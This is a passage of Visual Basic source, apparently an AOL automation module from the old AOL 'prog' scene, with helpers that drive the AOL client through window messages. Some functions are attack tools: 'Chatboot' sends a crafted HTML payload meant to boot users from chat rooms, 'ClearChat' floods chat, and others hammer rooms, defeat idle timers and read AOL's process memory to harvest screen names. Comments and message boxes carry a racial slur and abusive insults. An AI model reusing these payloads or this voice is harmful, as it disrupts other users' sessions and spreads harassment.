SendMessage(OkWin%, WM_CLOSE, 0, 0): closer2 = SendMessage(IMWin%, WM_CLOSE, 0, 0): Exit Do If IMWin% = 0 Then Exit Do Loop End Sub Function Mail_OpenNew() 'opens fresh new mail pad aol% = FindWindow("AOL Frame25", vbNullString) tool% = FindChildByClass(aol%, "AOL Toolbar") toolb% = FindChildByClass(tool%, "_AOL_Toolbar") Icona% = FindChildByClass(toolb%, "_AOL_Icon") clickit = SendMessage(Icona%, WM_LBUTTONDOWN, 0, 0&) clickit = SendMessage(Icona%, WM_LBUTTONUP, 0, 0&) End Function Function Mail_OpenNew2() 'this will make sure all the mail has been shown aol% = FindWindow("AOL Frame25", vbNullString) tool% = FindChildByClass(aol%, "AOL Toolbar") toolb% = FindChildByClass(tool%, "_AOL_Toolbar") Icona% = FindChildByClass(toolb%, "_AOL_Icon") clickit = SendMessage(Icona%, WM_LBUTTONDOWN, 0, 0&) clickit = SendMessage(Icona%, WM_LBUTTONUP, 0, 0&) Do: DoEvents mdi% = FindChildByClass(aol%, "MDIClient") TIT% = findchildbytitle(mdi%, " Online Mailbox") Tab1% = FindChildByClass(TIT%, "_AOL_TabControl") Tab2% = FindChildByClass(Tab1%, "_AOL_TabPage") tree% = FindChildByClass(Tab2%, "_AOL_Tree") Icona% = FindChildByClass(TIT%, "_AOL_Icon") If TIT% <> 0 And tree% <> 0 Then Exit Do Loop Do: DoEvents num = SendMessage(tree%, LB_GETCOUNT, 0, 0&) If num = NewNum Then Exit Do NewNum = num Loop Wait (1) End Function Function MyProgIsRunning() As Boolean MyProgIsRunning = False If (App.PrevInstance = True) Then MyProgIsRunning = True End If End Function Public Sub Loadlistbox(Directory As String, TheList As ListBox) 'this is to load a list box 'this is very help full for <>< tankz or saving files for crackers Dim MyString As String On Error Resume Next Open Directory$ For Input As #1 While Not EOF(1) Input #1, MyString$ DoEvents TheList.AddItem MyString$ Wend Close #1 End Sub Function GetCaption(hwnd) hwndLength% = GetWindowTextLength(hwnd) hwndTitle$ = String$(hwndLength%, 0) a% = GetWindowText(hwnd, hwndTitle$, (hwndLength% + 1)) GetCaption = hwndTitle$ End Function Sub ClickIcon(Icon%) Click% = SendMessage(Icon%, WM_LBUTTONDOWN, 0, 0&) Click% = SendMessage(Icon%, WM_LBUTTONUP, 0, 0&) End Sub Sub AOL4_SetText(win, txt) 'This is usually used for an _AOL_Edit or RICHCNTL TheText% = SendMessageByString(win, WM_SETTEXT, 0, txt) End Sub Function Anti_45Min() 'kills the AOL Timer window put this in timer Palet% = FindWindow("_AOL_Palette", "America Online Timer") Icona% = FindChildByClass(Palet%, "_AOL_Icon") If Palet% <> 0 And Icona% <> 0 Then closeit = SendMessage(Icona%, WM_LBUTTONDOWN, 0, 0&) closeit = SendMessage(Icona%, WM_LBUTTONUP, 0, 0&) End If End Function Function CheckIfOnline(sn As String) As Boolean 'returns a true or false 'example.. if CheckIfOnline("User123") = true then 'msgbox("He's online") 'End if Call RunMenuByChar(9, "L") Do: DoEvents aol% = FindWindow("AOL Frame25", vbNullString) mdi% = FindChildByClass(aol%, "MDIClient") TIT% = findchildbytitle(mdi%, "Locate Member Online") Edi% = FindChildByClass(TIT%, "_AOL_Edit") If TIT% <> 0 And Edi% <> 0 Then Exit Do Loop fillit = SendMessageByString(Edi%, WM_SETTEXT, 0, sn) Icona% = FindChildByClass(TIT%, "_AOL_Icon") clickit = SendMessage(Icona%, WM_LBUTTONDOWN, 0, 0&) clickit = SendMessage(Icona%, WM_LBUTTONUP, 0, 0&) Do: DoEvents No% = FindWindow("#32770", vbNullString) tit2% = findchildbytitle(mdi%, "Locate " & sn) If No% <> 0 Or tit2% <> 0 Then Exit Do Loop If No% <> 0 Then closeit = SendMessage(No%, WM_CLOSE, 0, 0&) closeit = SendMessage(TIT%, WM_CLOSE, 0, 0&) AreThey = False ElseIf tit2% <> 0 Then closeit = SendMessage(tit2%, WM_CLOSE, 0, 0&) closeit = SendMessage(TIT%, WM_CLOSE, 0, 0&) AreThey = True End If If AreThey = True Then MsgBox "heheh teh bitch is still online" Else MsgBox "The lamer fucker is not online." End If CheckIfOnline = AreThey End Function Function Decrypt(strin As String) On Error Resume Next If IsNumeric(Mid(strin, 1, 1)) = False Then Decrypt = strin Exit Function End If For X = 1 To Len(strin) l$ = Mid(strin, X, 1) If l$ = "-" Then Let l$ = "" NextL$ = NextL$ & Chr(Ch) Ch = "" ElseIf l$ = "." Then Let l$ = "" NextL$ = NextL$ & Chr(Ch) Ch = "" ElseIf l$ = "=" Then Let l$ = "" NextL$ = NextL$ & Chr(Ch) Ch = "" ElseIf l$ = "\" Then Let l$ = "" NextL$ = NextL$ & Chr(Ch) Ch = "" ElseIf l$ = "+" Then Let l$ = "" NextL$ = NextL$ & Chr(Ch) Ch = "" ElseIf l$ = "~" Then Let l$ = "" NextL$ = NextL$ & Chr(Ch) Ch = "" ElseIf l$ = "*" Then Let l$ = "" NextL$ = NextL$ & Chr(Ch) Ch = "" ElseIf l$ = "&" Then Let l$ = "" NextL$ = NextL$ & Chr(Ch) Ch = "" End If Ch = Ch & l$ Next X Decrypt = NextL$ End Function Function Encrypt(strin As String) 'i've never seen this method before 'works good but dont tell VB to encrypt it 'more then once, youll have to press decrypt 'more than once then.. and encrypting 'the same line too much will overload it On Error Resume Next Choice = Array("-", "-", ".", "=", "\", "+", "~", "*", "&") For X = 1 To Len(strin) l$ = Mid(strin, X, 1) Conv$ = Conv$ & CharToChr(l$) & Choice(Int(Rnd * 7)) Next X Encrypt = Conv$ End Function Function Text_Hacker(strin As String) 'Lame but people use it Let inptxt$ = strin Let lenth% = Len(inptxt$) Do While NumSpc% <= lenth% Let NumSpc% = NumSpc% + 1 Let NextChr$ = Mid$(inptxt$, NumSpc%, 1) If NextChr$ = "A" Then Let NextChr$ = "a" If NextChr$ = "E" Then Let NextChr$ = "e" If NextChr$ = "I" Then Let NextChr$ = "i" If NextChr$ = "O" Then Let NextChr$ = "o" If NextChr$ = "U" Then Let NextChr$ = "u" If NextChr$ = "b" Then Let NextChr$ = "B" If NextChr$ = "c" Then Let NextChr$ = "C" If NextChr$ = "d" Then Let NextChr$ = "D" If NextChr$ = "z" Then Let NextChr$ = "Z" If NextChr$ = "f" Then Let NextChr$ = "F" If NextChr$ = "g" Then Let NextChr$ = "G" If NextChr$ = "h" Then Let NextChr$ = "H" If NextChr$ = "y" Then Let NextChr$ = "Y" If NextChr$ = "j" Then Let NextChr$ = "J" If NextChr$ = "k" Then Let NextChr$ = "K" If NextChr$ = "l" Then Let NextChr$ = "L" If NextChr$ = "m" Then Let NextChr$ = "M" If NextChr$ = "n" Then Let NextChr$ = "N" If NextChr$ = "x" Then Let NextChr$ = "X" If NextChr$ = "p" Then Let NextChr$ = "P" If NextChr$ = "q" Then Let NextChr$ = "Q" If NextChr$ = "r" Then Let NextChr$ = "R" If NextChr$ = "s" Then Let NextChr$ = "S" If NextChr$ = "t" Then Let NextChr$ = "T" If NextChr$ = "w" Then Let NextChr$ = "W" If NextChr$ = "v" Then Let NextChr$ = "V" If NextChr$ = " " Then Let NextChr$ = "á" Let NewSent$ = NewSent$ + NextChr$ Loop ErrorRsenD (NewSent$) End Function Sub Text_Flash(txt As TextBox) txt.ForeColor = QBColor(Rnd * 15) NoFreeze% = DoEvents() End Sub Function Text_backwards(strin As TextBox) Let inptxt$ = strin Let lenth% = Len(inptxt$) Do While NumSpc% <= lenth% Let NumSpc% = NumSpc% + 1 Let NextChr$ = Mid$(inptxt$, NumSpc%, 1) Let NewSent$ = NextChr$ & NewSent$ Loop ErrorRsenD (NewSent$) End Function Function SNfromIM() 'this gets the sn from the im box open 'this can be a help full option for a im-answering machine to take the mesages aol% = FindWindow("AOL Frame25", vbNullString) mdi% = FindChildByClass(aol%, "MDIClient") ' IM% = findchildbytitle(mdi%, ">Instant Message From:") If IM% Then GoTo Greed IM% = findchildbytitle(mdi%, " Instant Message From:") If IM% Then GoTo Greed Exit Function Greed: IMCap$ = GetCaption(IM%) theSN$ = Mid(IMCap$, InStr(IMCap$, ":") + 2) SNfromIM = theSN$ End Function Sub EliteTalker(word$) Made$ = "" For Q = 1 To Len(word$) Letter$ = "" Letter$ = Mid$(word$, Q, 1) leet$ = "" X = Int(Rnd * 3 + 1) If Letter$ = "a" Then If X = 1 Then leet$ = "Γ" If X = 2 Then leet$ = "σ" If X = 3 Then leet$ = "Σ" End If If Letter$ = "b" Then leet$ = "b" If Letter$ = "c" Then leet$ = "τ" If Letter$ = "d" Then leet$ = "d" If Letter$ = "e" Then If X = 1 Then leet$ = "δ" If X = 2 Then leet$ = "Ω" If X = 3 Then leet$ = "Θ" End If If Letter$ = "i" Then If X = 1 Then leet$ = "∞" If X = 2 Then leet$ = "∩" If X = 3 Then leet$ = "ε" End If If Letter$ = "j" Then leet$ = ",j" If Letter$ = "n" Then leet$ = "±" If Letter$ = "o" Then If X = 1 Then leet$ = "⌠" If X = 2 Then leet$ = "≡" If X = 3 Then leet$ = "⌡" End If If Letter$ = "s" Then leet$ = "Ü" If Letter$ = "t" Then leet$ = "å" If Letter$ = "u" Then If X = 1 Then leet$ = "∙" If X = 2 Then leet$ = "√" If X = 3 Then leet$ = "ⁿ" End If If Letter$ = "w" Then leet$ = "\X/" If Letter$ = "y" Then leet$ = "'/" If Letter$ = "0" Then leet$ = "╪" If Letter$ = "A" Then If X = 1 Then leet$ = "┼" If X = 2 Then leet$ = "─" If X = 3 Then leet$ = "├" End If If Letter$ = "B" Then leet$ = "▀" If Letter$ = "C" Then leet$ = "╟" If Letter$ = "D" Then leet$ = "╨" If Letter$ = "E" Then leet$ = "╦" If Letter$ = "I" Then If X = 1 Then leet$ = "╧" If X = 2 Then leet$ = "╬" If X = 3 Then leet$ = "═" End If If Letter$ = "N" Then leet$ = "╤" If Letter$ = "O" Then leet$ = "╒" If Letter$ = "S" Then leet$ = "è" If Letter$ = "U" Then leet$ = "█" If Letter$ = "W" Then leet$ = "VV" If Letter$ = "Y" Then leet$ = "▌" If Letter$ = "`" Then leet$ = "┤" If Letter$ = "!" Then leet$ = "í" If Letter$ = "?" Then leet$ = "┐" If Len(leet$) = 0 Then leet$ = Letter$ Made$ = Made$ & leet$ Next Q ErrorRsenD (Made$) End Sub Function File_Scan(FilePath As String, LookFor As String) As Long 'will return Instr# if string found 'returns 0 if string isnt found 'scan takes longer depending on file size Free = FreeFile Dim Lookin As Long Open FilePath$ For Binary Access Read As #Free For X = 1 To LOF(Free) Step 32000 txt$ = Space(32000) Get #Free, X, txt$ If InStr(1, txt$, LookFor$, 1) Then Lookin = InStr(1, txt$, LookFor$, 1) File_Scan = (Lookin + X) - 1 Close #Free Exit For End If Next X Close #Free End Function Function FindChatEdit() Echil% = FindChat ERich% = FindChildByClass(Echil%, "RICHCNTL") For I = 1 To 6 DoEvents ERich% = GetWindow(ERich%, GW_HWNDNEXT) Next I FindChatEdit = ERich% End Function Function IMOn() Call InstantMessage("$IM_on", Plug) aol% = FindWindow("AOL Frame25", vbNullString) mdi% = FindChildByClass(aol%, "MDIClient") TIT% = findchildbytitle(mdi%, "Send Instant Message") Do: DoEvents win% = FindWindow("#32770", vbNullString) If win% <> 0 Then Exit Do Loop closeit = SendMessage(win%, WM_CLOSE, 0, 0&) closeit = SendMessage(TIT%, WM_CLOSE, 0, 0&) End Function Function IMOFF() Call InstantMessage("$IM_off", Plug) aol% = FindWindow("AOL Frame25", vbNullString) mdi% = FindChildByClass(aol%, "MDIClient") TIT% = findchildbytitle(mdi%, "Send Instant Message") Do: DoEvents win% = FindWindow("#32770", vbNullString) If win% <> 0 Then Exit Do Loop closeit = SendMessage(win%, WM_CLOSE, 0, 0&) closeit = SendMessage(TIT%, WM_CLOSE, 0, 0&) End Function Function Label_MovieCredit(Lab As Label, name As String) 'set backround color to black Lab.Alignment = 2 Lab.Caption = name Lab.BackStyle = 0 Lab.AutoSize = True For I = 64 To 1 Step -5 X = 255 - (I * 4 - 1) NewC = RGB(X, X, X) Lab.ForeColor = NewC Wait (0.0000001) Next I Wait (0.8) For I = 1 To 64 Step 5 X = 255 - (I * 4 - 1) NewC = RGB(X, X, X) Lab.ForeColor = NewC Wait (0.0000001) Next I Lab.ForeColor = &H0& End Function Public Sub PrivateRoom(Room As String) Call Keyword("aol://2719:2-2-" & Room$) End Sub Function Label_MovieCredit2(Lab As Label, name As String, num As Integer) Lab.Alignment = 2 Lab.Caption = name Lab.BackStyle = 0 Lab.AutoSize = True For I = 64 To 1 Step -5 X = 255 - (I * 4 - 1) NewC = RGB(X, X, X) Lab.ForeColor = NewC Wait (0.0000001) Next I Wait (num) For I = 1 To 64 Step 5 X = 255 - (I * 4 - 1) NewC = RGB(X, X, X) Lab.ForeColor = NewC Wait (0.0000001) Next I Lab.ForeColor = &H0& End Function Function AddCharToList(lis As ListBox) 'this wont add the chr codes 'that windows doesnt recognize Dim c, I As Integer For c = 33 To 126 lis.AddItem Chr(c) Next c lis.AddItem Chr(145) For I = 161 To 255 lis.AddItem Chr(I) Next I End Function Sub Aol4_SetFocus() X = GetCaption(AOLWindow) End Sub Sub TimeOut(Duration) starttime = Timer Do While Timer - starttime < Duration DoEvents Loop End Sub Sub StayOnTop(TheForm As Form) SetWinOnTop = SetWindowPos(TheForm.hwnd, HWND_TOPMOST, 0, 0, 0, 0, flags) End Sub Sub Chatboot() 'This boot nigga's from the chat, Thanx to Fr3X0r :P For I = 1 To 100 a = a + "{S IM " Next ErrorRsenD ("<font color=#fffffe>.<p=< a href=" & Chr$(34) & " " & a & Chr$(34) & "></a>") End Sub Sub AddRoomToListbox(ListBox As ListBox) On Error Resume Next Dim AOLProcess As Long Dim ListItemHold As Long Dim Person As String Dim ListPersonHold As Long Dim ReadBytes As Long TheList.Clear Room = FindChat() aolhandle = FindChildByClass(Room, "_AOL_Listbox") AOLThread = GetWindowThreadProcessId(aolhandle, AOLProcess) AOLProcessThread = OpenProcess(PROCESS_VM_READ Or STANDARD_RIGHTS_REQUIRED, False, AOLProcess) If AOLProcessThread Then For Index = 0 To SendMessage(aolhandle, LB_GETCOUNT, 0, 0) - 1 Person$ = String$(4, vbNullChar) ListItemHold = SendMessage(aolhandle, LB_GETITEMDATA, ByVal CLng(Index), ByVal 0&) ListItemHold = ListItemHold + 24 Call ReadProcessMemory(AOLProcessThread, ListItemHold, Person$, 4, ReadBytes) Call RtlMoveMemory(ListPersonHold, ByVal Person$, 4) ListPersonHold = ListPersonHold + 6 Person$ = String$(16, vbNullChar) Call ReadProcessMemory(AOLProcessThread, ListPersonHold, Person$, Len(Person$), ReadBytes) Person$ = Left$(Person$, InStr(Person$, vbNullChar) - 1) If Person$ = UserSN Then GoTo Na ListBox.AddItem Person$ Na: Next Index Call CloseHandle(AOLProcessThread) End If End Sub Sub List_Add(List As ListBox, txt$) On Error Resume Next DoEvents For X = 0 To List.ListCount - 1 If UCase$(List.List(X)) = UCase$(txt$) Then Exit Sub Next If Len(txt$) <> 0 Then List.AddItem txt$ End Sub Sub ClearChat() ErrorRsenD "<font color=#fffffe>.<pre" & String(1900, " </font>") ErrorRsenD "<font color=#fffffe>.<pre" & String(1900, " </font>") TimeOut 0.45 ErrorRsenD "<font color=#fffffe>.<pre" & String(1900, " </font>") ErrorRsenD "<font color=#fffffe>.<pre" & String(1900, " </font>") End Sub Function AOL_Version() 'returns Not Online , 3.0 or 4.0 Dim Version As String aol% = FindWindow("AOL Frame25", vbNullString) toola% = FindChildByClass(aol%, "AOL Toolbar") toolb% = FindChildByClass(toola%, "_AOL_Toolbar") mdi% = FindChildByClass(aol%, "MDIClient") tit1% = findchildbytitle(mdi%, "Sign On") tit2% = findchildbytitle(mdi%, "Goodbye from America Online!") If aol% = 0 Then Version = "Not Online" ElseIf tit1% <> 0 Then Version = "Not Online" ElseIf tit2% <> 0 Then Version = "Not Online" ElseIf toola% <> 0 Then Version = "4.0" Else Version = "3.0" End If AOL_Version = Version End Function Function ChatToListbox(lis As ListBox) Dim Chil%, Rich%, SendNum, GeText$, last, l$ Chil% = FindChat Rich% = FindChildByClass(Chil%, "RICHCNTL") SendNum = SendMessageByNum(Rich%, 14, 0&, 0&) GeTxt$ = Space$(SendNum) last = SendMessageByString(Rich%, 13, SendNum + 1, GeTxt$) For X = 1 To Len(GeTxt$) l$ = Mid(GeTxt$, X, 1) If l$ = Chr(13) Then Let l$ = "" lis.AddItem Lne$ Lne$ = "" End If Lne$ = Lne$ & l$ Next X End Function Function Object_MoveUp(Obj) 'put this in a timer with a low interval 'object is like a label or pic box Obj.Top = Val(Obj.Top) + 20 End Function Function Object_MoveDown(Obj) 'put this in a timer with a low interval 'object is like a label or pic box Obj.Top = Val(Obj.Top) - 20 End Function Function Print_GetDeviceName() 'gets the name of the printer name = Printer.DeviceName Print_GetDeviceName = name End Function Function SendMailAttach(Who As String, Subject As String, Message As String, FilePath As String) 'ex: Call AOL_MailAttach("user123","hi","hey whats up","c:\example.exe") aol% = FindWindow("AOL Frame25", vbNullString) tool% = FindChildByClass(aol%, "AOL Toolbar") toolb% = FindChildByClass(tool%, "_AOL_Toolbar") Icona% = FindChildByClass(toolb%, "_AOL_Icon") Icona% = GetWindow(Icona%, 2) clickit = SendMessage(Icona%, WM_LBUTTONDOWN, 0, 0&) clickit = SendMessage(Icona%, WM_LBUTTONUP, 0, 0&) Do: DoEvents mdi% = FindChildByClass(aol%, "MDIClient") TIT% = findchildbytitle(mdi%, "Write Mail") Edi% = FindChildByClass(TIT%, "_AOL_Edit") Rich% = FindChildByClass(TIT%, "RICHCNTL") If TIT% <> 0 And Edi% <> 0 And Rich% <> 0 Then Exit Do Loop fillit = SendMessageByString(Edi%, WM_SETTEXT, 0, Who) For n = 1 To 4 Edi% = GetWindow(Edi%, GW_HWNDNEXT) Next n fillit = SendMessageByString(Edi%, WM_SETTEXT, 0, Subject) fillit = SendMessageByString(Rich%, WM_SETTEXT, 0, Message) For I = 1 To 22 Edi% = GetWindow(Edi%, GW_HWNDNEXT) Next I Rich% = GetWindow(Rich%, GW_HWNDNEXT) Rich% = GetWindow(Rich%, GW_HWNDNEXT) attch = SendMessage(Rich%, WM_LBUTTONDOWN, 0, 0&) attch = SendMessage(Rich%, WM_LBUTTONUP, 0, 0&) Wait (0.3) Do: DoEvents Mod2% = FindWindow("_AOL_Modal", vbNullString) Tree2% = FindChildByClass(Mod2%, "_AOL_Tree") stat% = FindChildByClass(Mod2%, "_AOL_Static") iconb% = FindChildByClass(Mod2%, "_AOL_Icon") If Mod2% <> 0 And Tree2% <> 0 And stat% <> 0 And iconb% <> 0 Then Exit Do Loop attchc = SendMessage(iconb%, WM_LBUTTONDOWN, 0, 0&) attchc = SendMessage(iconb%, WM_LBUTTONUP, 0, 0&) Wait (0.3) Do: DoEvents Fle% = FindWindow("#32770", vbNullString) edif% = FindChildByClass(Fle%, "Edit") but% = FindChildByClass(Fle%, "Button") If Fle% <> 0 And edif% <> 0 And but% <> 0 Then Exit Do Loop Wait (0.3) fillit = SendMessageByString(edif%, WM_SETTEXT, 0, FilePath) but% = GetWindow(but%, GW_HWNDNEXT) clickit = SendMessage(but%, WM_LBUTTONDOWN, 0, 0&) clickit = SendMessage(but%, WM_LBUTTONUP, 0, 0&) Wait (0.2) Do: DoEvents Mod2% = FindWindow("_AOL_Modal", vbNullString) Tree2% = FindChildByClass(Mod2%, "_AOL_Tree") stat% = FindChildByClass(Mod2%, "_AOL_Static") iconb% = FindChildByClass(Mod2%, "_AOL_Icon") If Mod2% <> 0 And Tree2% <> 0 And stat% <> 0 And iconb% <> 0 Then Exit Do Loop Wait (0.2) iconb% = GetWindow(iconb%, GW_HWNDNEXT) 'detach iconb% = GetWindow(iconb%, GW_HWNDNEXT) 'OK clickit = SendMessage(iconb%, WM_LBUTTONDOWN, 0, 0&) clickit = SendMessage(iconb%, WM_LBUTTONUP, 0, 0&) SendIt = SendMessage(Edi%, WM_LBUTTONDOWN, 0, 0&) SendIt = SendMessage(Edi%, WM_LBUTTONUP, 0, 0&) End Function Function GreetRoom(lis As ListBox, BeforeGreet As String, AfterGreet As String) 'i really prefer to tag ur own cuz more preferble but ' this would do nice for you none programmer's Call AddRoom(lis) Wait (0.3) For X = 0 To lis.ListCount Nam$ = lis.List(X) Call SendChat(BeforeGreet & " " & Nam$ & " " & AfterGreet) Wait (0.6) Next X End Function Function AntiIdle() 'put in timer Modal% = FindWindow("_AOL_Modal", vbNullString) txt$ = Modal_Static There = InStr(txt$, "you have been idle") If Modal% <> 0 Then closeit = SendMessage(Modal%, WM_CLOSE, 0, 0&) End If End Function Public Sub SaveListBox(Directory As String, TheList As ListBox) Dim SaveList As Long On Error Resume Next Open Directory$ For Output As #1 For SaveList& = 0 To TheList.ListCount - 1 Print #1, TheList.List(SaveList&) Next SaveList& Close #1 End Sub Function ChatColorSend(Color As String, strin As String) 'color constants: (L before color = light, D = Dark) 'Blue 'LBlue 'DBlue 'Green 'LGreen 'DGreen 'Red 'DRed 'Yellow 'Grey 'LGrey 'DGrey 'Orange 'Purple 'Pink ' Ex.. Call ChatColorSend(Blue,text1.text) cc$ = "<Font Color=" & Chr(34) & Color & Chr(34) & ">" Call SendChat(cc$ & strin) End Function Function MailBombFix(SName As String) Call Mail_OpenNew2 Wait (0.5) aol% = FindWindow("AOL Frame25", vbNullString) mdi% = FindChildByClass(aol%, "MDIClient") TIT% = findchildbytitle(mdi%, " Online Mailbox") Tab1% = FindChildByClass(TIT%, "_AOL_TabControl") Tab2% = FindChildByClass(Tab1%, "_AOL_TabPage") tree% = FindChildByClass(Tab2%, "_AOL_Tree") Icona% = FindChildByClass(TIT%, "_AOL_Icon") For n = 1 To 6 Icona% = GetWindow(Icona%, GW_HWNDNEXT) Next n coun% = SendMessage(tree%, LB_GETCOUNT, 0, 0&) For safety = 1 To 4 For I = 0 To coun% - 1 lent% = SendMessage(tree%, LB_GETTEXTLEN, I, 0&) mail$ = String(lent% + 1, 0) Call SendMessageByString(tree%, LB_GETTEXT, I, mail$) For X = 1 To Len(mail$) c$ = Mid(mail$, X, 1) If c$ = Chr(9) Then Let c$ = "" Exit For End If news$ = news$ & c$ Next X For l = X + 1 To Len(mail$) c$ = Mid(mail$, l, 1) If c$ = Chr(9) Then Let c$ = "" Exit For End If News2$ = News2$ & c$ Next l If LCase(News2$) = LCase(SName) Then setit = SendMessage(tree%, LB_SETCURSEL, I, 0&) deleteit = SendMessage(Icona%, WM_LBUTTONDOWN, 0, 0&) deleteit = SendMessage(Icona%, WM_LBUTTONUP, 0, 0&) coun% = coun% - 1 End If News2$ = "" Next I Next safety End Function Function NewMailToList(lis As ListBox) 'this will open ur new mail and 'it will auto add the mail into your list box 'helpfull for mmer's or server's aol% = FindWindow("AOL Frame25", vbNullString) mdi% = FindChildByClass(aol%, "MDIClient") TIT% = findchildbytitle(mdi%, " Online Mailbox") Tab1% = FindChildByClass(TIT%, "_AOL_TabControl") Tab2% = FindChildByClass(Tab1%, "_AOL_TabPage") tree% = FindChildByClass(Tab2%, "_AOL_Tree") coun% = SendMessage(tree%, LB_GETCOUNT, 0, 0&) For I = 0 To coun% - 1 lent% = SendMessage(tree%, LB_GETTEXTLEN, I, 0&) mail$ = String(lent% + 1, 0) Call SendMessageByString(tree%, LB_GETTEXT, I, mail$) For X = 1 To Len(mail$) l$ = Mid(mail$, X, 1) NoName$ = NoName$ & l$ If l$ = Chr(9) Then Let l$ = "": NoName$ = "" End If Next X lis.AddItem NoName$ Next I End Function Function PrivRoom2(RoomName As String) 'this wont click the "room is full" window 'much faster for a bust or reenter but not 'as safe aol% = FindWindow("AOL Frame25", vbNullString) tool% = FindChildByClass(aol%, "AOL Toolbar") toolb% = FindChildByClass(tool%, "_AOL_Toolbar") Comb% = FindChildByClass(toolb%, "_AOL_Combobox") Edi% = FindChildByClass(Comb%, "Edit") fillit = SendMessageByString(Edi%, WM_SETTEXT, 0, "aol://2719:2-2-" & RoomName) clickit = SendMessageByNum(Edi%, WM_CHAR, VK_SPACE, 0&) clickit = SendMessageByNum(Edi%, WM_CHAR, 13, 0&) End Function Function RoomBust(RoomName As String) Dim Chil%, Rich% Dim T As Integer Chil% = FindChat Rich% = FindChildByClass(Chil%, "RICHCNTL") If Rich% <> 0 Then closeroom = SendMessage(Chil%, WM_CLOSE, 0, 0&) End If Do: DoEvents T = Val(T) + 1 Call PrivRoom(RoomName) Wait (0.3) If InRoom = True Or T = 20 Then Exit Do Loop If T = 20 Then MsgBox ("Fucking bitch it only allow's 20 bust bitch fucking reset lamer do to fucking aol's last update.."), 16, ("RoomBust Timeout") End If Wait (0.2) 'this is to make sure your advertise 'doesnt come too soon End Function Function RoomReenter(RoomName As String, Times As Integer) ' this bitch dont work know more 'but il write a working one soon For I = 1 To Times Call PrivRoom(RoomName) Next I End Function Function RoomReenter2(Times As Integer) 'this one will automatically detect the room name Room$ = GetRoomTitle For I = 1 To Times Call PrivRoom(Room$) Next I End Function Function CharToChr(Letter As String) c = Asc(Letter) CharToChr = c End Function Function Form_Oval(frm As Form) frm.Show SetWindowRgn frm.hwnd, CreateEllipticRgn(0, 0, 300, 200), True End Function Function getprofile(Nam As String) Dim Edi% Call RunMenuByChar(9, "G") Do: DoEvents aol% = FindWindow("AOL Frame25", vbNullString) mdi% = FindChildByClass(aol%, "MDIClient") TIT% = findchildbytitle(mdi%, "Get A Member's Profile") Edi% = FindChildByClass(TIT%, "_AOL_Edit") Icona% = FindChildByClass(TIT%, "_AOL_Icon") If Edi% <> 0 Then Exit Do Loop fillit = SendMessageByString(Edi%, WM_SETTEXT, 0, Nam) DoEvents clickit = SendMessage(Icona%, WM_LBUTTONDOWN, 0, 0&) clickit = SendMessage(Icona%, WM_LBUTTONUP, 0, 0&) Wait (0.6) None% = FindWindow("#32770", vbNullString) If None% <> 0 Then closeit = SendMessage(None%, WM_CLOSE, 0, 0&) closeit = SendMessage(TIT%, WM_CLOSE, 0, 0&) getprofile = "No Profile Available" closeit = SendMessage(TIT%, WM_CLOSE, 0, 0&) Exit Function End If Do: DoEvents tit2% = findchildbytitle(mdi%, "Member Profile") View% = FindChildByClass(tit2%, "_AOL_View") If tit2% <> 0 And View% <> 0 Then Exit Do Loop Do: DoEvents NewNum = sNum 'wait for all text to load up sNum = SendMessageByNum(View%, 14, 0&, 0&) Wait (0.3) If NewNum = sNum Then Exit Do Loop trm$ = Space$(sNum) last = SendMessageByString(View%, 13, sNum + 1, trm$) closeit = SendMessage(tit2%, WM_CLOSE, 0, 0&) closeit = SendMessage(TIT%, WM_CLOSE, 0, 0&) Prof$ = trm$ getprofile = Prof$ End Function Function Label_Space(Lab As Label, txt As String, MaxSize As Integer) Lab.FontSize = 1 Lab.AutoSize = True Lab.Alignment = 2 Lab.Caption = txt For X = 1 To MaxSize Step 10 Lab.FontSize = X Wait (0.001) Next X Wait (0.5) For I = MaxSize To 1 Step -10 Lab.FontSize = I Wait (0.001) Next I End Function Function LastTextFromIm() 'this gets the text from the last im Dim IM$ Dim I$, txt$ Dim X As Integer IM$ = TextFromIm For X = 1 To Len(IM$) I$ = Mid(IM$, X, 1) txt$ = txt$ & I$ If I$ = Chr(9) Then Let I$ = "" txt$ = "" End If Next X LastTextFromIm = txt$ End Function Function MailNewDeleteAllBut(SName As String) 'deletes all mail except from the name you put Call Mail_OpenNew2 Wait (0.5) aol% = FindWindow("AOL Frame25", vbNullString) mdi% = FindChildByClass(aol%, "MDIClient") TIT% = findchildbytitle(mdi%, " Online Mailbox") Tab1% = FindChildByClass(TIT%, "_AOL_TabControl") Tab2% = FindChildByClass(Tab1%, "_AOL_TabPage") tree% = FindChildByClass(Tab2%, "_AOL_Tree") Icona% = FindChildByClass(TIT%, "_AOL_Icon") For n = 1 To 6 Icona% = GetWindow(Icona%, GW_HWNDNEXT) Next n coun% = SendMessage(tree%, LB_GETCOUNT, 0, 0&) For safety = 1 To 4 For I = 0 To coun% - 1 lent% = SendMessage(tree%, LB_GETTEXTLEN, I, 0&) mail$ = String(lent% + 1, 0) Call SendMessageByString(tree%, LB_GETTEXT, I, mail$) For X = 1 To Len(mail$) c$ = Mid(mail$, X, 1) If c$ = Chr(9) Then Let c$ = "" Exit For End If news$ = news$ & c$ Next X For l = X + 1 To Len(mail$) c$ = Mid(mail$, l, 1) If c$ = Chr(9) Then Let c$ = "" Exit For End If News2$ = News2$ & c$ Next l If LCase(News2$) <> LCase(SName) Then setit = SendMessage(tree%, LB_SETCURSEL, I, 0&) deleteit = SendMessage(Icona%, WM_LBUTTONDOWN, 0, 0&) deleteit = SendMessage(Icona%, WM_LBUTTONUP, 0, 0&) coun% = coun% - 1 End If News2$ = "" Next I Next safety End Function Function MailNewDeleteNonAOL() 'this will delete all mails with more then 10 'letters , obviouslly getting rid of non aol 'unless the person actually writes @aol.com 'but thats usually junk anyway Call Mail_OpenNew2 Wait (0.5) aol% = FindWindow("AOL Frame25", vbNullString) mdi% = FindChildByClass(aol%, "MDIClient") TIT% = findchildbytitle(mdi%, " Online Mailbox") Tab1% = FindChildByClass(TIT%, "_AOL_TabControl") Tab2% = FindChildByClass(Tab1%, "_AOL_TabPage") tree% = FindChildByClass(Tab2%, "_AOL_Tree") Icona% = FindChildByClass(TIT%, "_AOL_Icon") For n = 1 To 6 Icona% = GetWindow(Icona%, GW_HWNDNEXT) Next n coun% = SendMessage(tree%, LB_GETCOUNT, 0, 0&) For safety = 1 To 4 For I = 0 To coun% - 1 lent% = SendMessage(tree%, LB_GETTEXTLEN, I, 0&) mail$ = String(lent% + 1, 0) Call SendMessageByString(tree%, LB_GETTEXT, I, mail$) For X = 1 To Len(mail$) c$ = Mid(mail$, X, 1) If c$ = Chr(9) Then Let c$ = "" Exit For End If news$ = news$ & c$ Next X For l = X + 1 To Len(mail$) c$ = 